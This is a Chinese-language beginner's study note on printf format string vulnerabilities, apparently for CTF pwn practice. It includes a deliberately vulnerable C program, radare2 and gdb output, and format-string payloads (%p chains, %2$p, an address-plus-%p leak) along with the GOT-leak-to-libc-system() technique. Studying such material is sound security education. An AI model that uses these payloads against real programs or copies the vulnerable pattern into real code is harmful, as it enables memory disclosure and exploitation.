pwn 字符串格式化漏洞 01-查看任意地址

???---pwn String formatting vulnerability 01
一個pwn新手的筆記

1.1前景提要:

就是c/c++里面hello world吧

#include <stdio.h>
int main()
{
        printf("Hello World!\n");
        return 0;
}

其實這些函數(shù)都是可以利用的

int printf(const char *format, ...);
int fprintf(FILE *stream, const char *format, ...);
int dprintf(int fd, const char *format, ...);
int sprintf(char *str, const char *format, ...);
int snprintf(char *str, size_t size, const char *format, ...);

大致原理:

根據(jù) cdecl 的調(diào)用約定,在進入 printf() 函數(shù)之前,將參數(shù)從右到左依次壓 棧。進入 printf() 之后,函數(shù)首先獲取第一個參數(shù),一次讀取一個字符。如果 字符不是 % ,字符直接復(fù)制到輸出中。否則,讀取下一個非空字符,獲取相應(yīng)的 參數(shù)并解析輸出。

1.2 各種而樣的Hello World

  • 組合型
#include <stdio.h>
int main()
{
        char *format = "%s";
        char *arg1 = "Hello World\n";
        printf(format,arg1);
return 0;
}

那么這里的printf就有arg1這一個參數(shù)

  • 過多型
#include <stdio.h>
int main()
{
        char *format = "%s-%p-%p-%p-%p-%p-%p-%p-%p";
        char *arg1 = "Hello World\n";
        printf(format,arg1);
        return 0;
}

結(jié)果:

Hello World
-0x4005ff-(nil)-0x4005d0-0x7fddb8c10ac0-0x4005e4-0x4005ff-0x400560-0x7fddb8850830

輸出了多余的信息,說明了這里是存在漏洞的
格式化字符串函數(shù)會根據(jù)格式字符串從棧上取值

2.字符串格式化的利用

2.1使進程崩潰:

2.1.1 核心轉(zhuǎn)儲

在 Linux 中,存取無效的指針會引起進程收到 SIGSEGV 信號,從而使程序非正常終止并產(chǎn)生核心轉(zhuǎn)儲

??核心轉(zhuǎn)儲:核心轉(zhuǎn)儲(core dump),在漢語中有時戲稱為吐核,是操作系統(tǒng)在進程收到某些信號而終止運行時,將此時進程地址空間的內(nèi)容以及有關(guān)進程狀態(tài)的其他信息寫出的一個磁盤文件。這種信息往往用于調(diào)試。

2.1.2 核心轉(zhuǎn)儲的原因

核心轉(zhuǎn)儲-百度百科

3.2演示示例:

#include <stdio.h>
int main()
{
        char format[128];
        int arg1 = 1, arg2 = 0x88888888, arg3 = -1;
        char arg4[10] = "ABCD";
        scanf("%s",format);
        printf(format,arg1,arg2,arg3,arg4);
        return 0;
}

暫且把這個當作一道題吧

2.1.2 r2:

root@MSI:/mnt/c/Users/13013/Desktop/PWN/pwn 字符串格式化漏洞/01-基礎(chǔ)# rabin2 -I example
arch     x86
baddr    0x400000
binsz    6738
bintype  elf
bits     64
canary   true
class    ELF64
compiler GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609
crypto   false
endian   little
havecode true
intrp    /lib64/ld-linux-x86-64.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  AMD x86-64 architecture
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   true
relro    partial
rpath    NONE
sanitiz  false
static   false
stripped false
subsys   linux
va       true
[0x00400500]> pdf @main
            ; DATA XREF from entry0 @ 0x40051d
┌ 176: int main (int argc, char **argv, char **envp);
│           ; var int64_t var_ach @ rbp-0xac
│           ; var int64_t var_a8h @ rbp-0xa8
│           ; var int64_t var_a4h @ rbp-0xa4
│           ; var char *var_a0h @ rbp-0xa0
│           ; var int64_t var_98h @ rbp-0x98
│           ; var char *format @ rbp-0x90
│           ; var int64_t canary @ rbp-0x8
│           0x004005f6      55             push rbp
│           0x004005f7      4889e5         mov rbp, rsp
│           0x004005fa      4881ecb00000.  sub rsp, 0xb0
│           0x00400601      64488b042528.  mov rax, qword fs:[0x28]
│           0x0040060a      488945f8       mov qword [canary], rax
│           0x0040060e      31c0           xor eax, eax
│           0x00400610      c78554ffffff.  mov dword [var_ach], 1
│           0x0040061a      c78558ffffff.  mov dword [var_a8h], 0x88888888
│           0x00400624      c7855cffffff.  mov dword [var_a4h], 0xffffffff ; -1
│           0x0040062e      48c78560ffff.  mov qword [var_a0h], 0x44434241 ; 'ABCD'
│           0x00400639      66c78568ffff.  mov word [var_98h], 0
│           0x00400642      488d8570ffff.  lea rax, [format]
│           0x00400649      4889c6         mov rsi, rax
│           0x0040064c      bf34074000     mov edi, 0x400734           ; const char *format
│           0x00400651      b800000000     mov eax, 0
│           0x00400656      e885feffff     call sym.imp.__isoc99_scanf ; int scanf(const char *format)
│           0x0040065b      488dbd60ffff.  lea rdi, [var_a0h]
│           0x00400662      8b8d5cffffff   mov ecx, dword [var_a4h]
│           0x00400668      8b9558ffffff   mov edx, dword [var_a8h]
│           0x0040066e      8bb554ffffff   mov esi, dword [var_ach]
│           0x00400674      488d8570ffff.  lea rax, [format]
│           0x0040067b      4989f8         mov r8, rdi
│           0x0040067e      4889c7         mov rdi, rax                ; const char *format
│           0x00400681      b800000000     mov eax, 0
│           0x00400686      e835feffff     call sym.imp.printf         ; int printf(const char *format)
│           0x0040068b      b800000000     mov eax, 0
│           0x00400690      488b55f8       mov rdx, qword [canary]
│           0x00400694      644833142528.  xor rdx, qword fs:[0x28]
│       ┌─< 0x0040069d      7405           je 0x4006a4
│       │   0x0040069f      e80cfeffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│       │   ; CODE XREF from main @ 0x40069d
│       └─> 0x004006a4      c9             leave
└           0x004006a5      c3             ret

2.1.3 gdb

Starting program: /mnt/c/Users/13013/Desktop/PWN/pwn 字符串格式化漏洞/01-基礎(chǔ)/example
[----------------------------------registers-----------------------------------]
RAX: 0x4005f6 --> 0xb0ec8148e5894855
RBX: 0x0
RCX: 0x0
RDX: 0x7ffffffee5e8 --> 0x7ffffffee845 ("SHELL=/bin/bash")
RSI: 0x7ffffffee5d8 --> 0x7ffffffee7f7 ("/mnt/c/Users/13013/Desktop/PWN/pwn 字符串格式化漏洞/01-基礎(chǔ)/example")
RDI: 0x1
RBP: 0x7ffffffee4f0 --> 0x4006b0 --> 0x41ff894156415741
RSP: 0x7ffffffee4f0 --> 0x4006b0 --> 0x41ff894156415741
RIP: 0x4005fa --> 0x64000000b0ec8148
R8 : 0x400720 --> 0x8ec83480000c3f3
R9 : 0x7fffff410ac0 (<_dl_fini>:        push   rbp)
R10: 0x846
R11: 0x7fffff050740 (<__libc_start_main>:       push   r14)
R12: 0x400500 --> 0x89485ed18949ed31
R13: 0x7ffffffee5d0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4005f1 <frame_dummy+33>:   jmp    0x400570 <register_tm_clones>
   0x4005f6 <main>:     push   rbp
   0x4005f7 <main+1>:   mov    rbp,rsp
=> 0x4005fa <main+4>:   sub    rsp,0xb0
   0x400601 <main+11>:  mov    rax,QWORD PTR fs:0x28
   0x40060a <main+20>:  mov    QWORD PTR [rbp-0x8],rax
   0x40060e <main+24>:  xor    eax,eax
   0x400610 <main+26>:  mov    DWORD PTR [rbp-0xac],0x1
[------------------------------------stack-------------------------------------]
0000| 0x7ffffffee4f0 --> 0x4006b0 --> 0x41ff894156415741
0008| 0x7ffffffee4f8 --> 0x7fffff050830 (<__libc_start_main+240>:       mov    edi,eax)
0016| 0x7ffffffee500 --> 0x1
0024| 0x7ffffffee508 --> 0x7ffffffee5d8 --> 0x7ffffffee7f7 ("/mnt/c/Users/13013/Desktop/PWN/pwn 字符串格式化漏洞
/01-基礎(chǔ)/example")
0032| 0x7ffffffee510 --> 0x1ff625ca0
0040| 0x7ffffffee518 --> 0x4005f6 --> 0xb0ec8148e5894855
0048| 0x7ffffffee520 --> 0x0
0056| 0x7ffffffee528 --> 0x8732ec1a2c49afff
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x00000000004005fa in main ()
gdb-peda$ c
Continuing.
        %08x.%08x.%08x.%08x.%08x
00000001.88888888.ffffffff.fffee450.ff7d0700[Inferior 1 (process 166) exited normally]
Warning: not running

總之就是類型標志符的問題,但是這里是依次獲得參數(shù),
??要獲得指定參數(shù)可以用以下方法:

%<arg#>$<format>

獲取第三個參數(shù)就是

%2$p

這個也可以直接輸入:

root@MSI:/mnt/c/Users/13013/Desktop/PWN/pwn 字符串格式化漏洞/01-基礎(chǔ)# ./example
%2$p
0x88888888

而且可以獲取周圍棧的情況:

root@MSI:/mnt/c/Users/13013/Desktop/PWN/pwn 字符串格式化漏洞/01-基礎(chǔ)# ./example
%5$x
78150700

2.2查看任意地址內(nèi)存:

也就是做題經(jīng)常用的AAAA-%p-%p-%p-%p-%p-%p-%p...

經(jīng)常的用法是: 把一個函數(shù)的got地址傳入,在獲得該地址對應(yīng)函數(shù)的虛擬地址,再根據(jù)函數(shù)在libc中的相對位置調(diào)用libc的其他函數(shù)(如system())

大致如下:

輸入: "小端地址" + "%p(地址類型)"*(重復(fù)次數(shù))
"\x10\xa0\x04\x08"+".%p"*20

注意一點就是,如果遇上了ASCII上面的不可見字符則不能被查看

  • 大致就是這些了吧
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容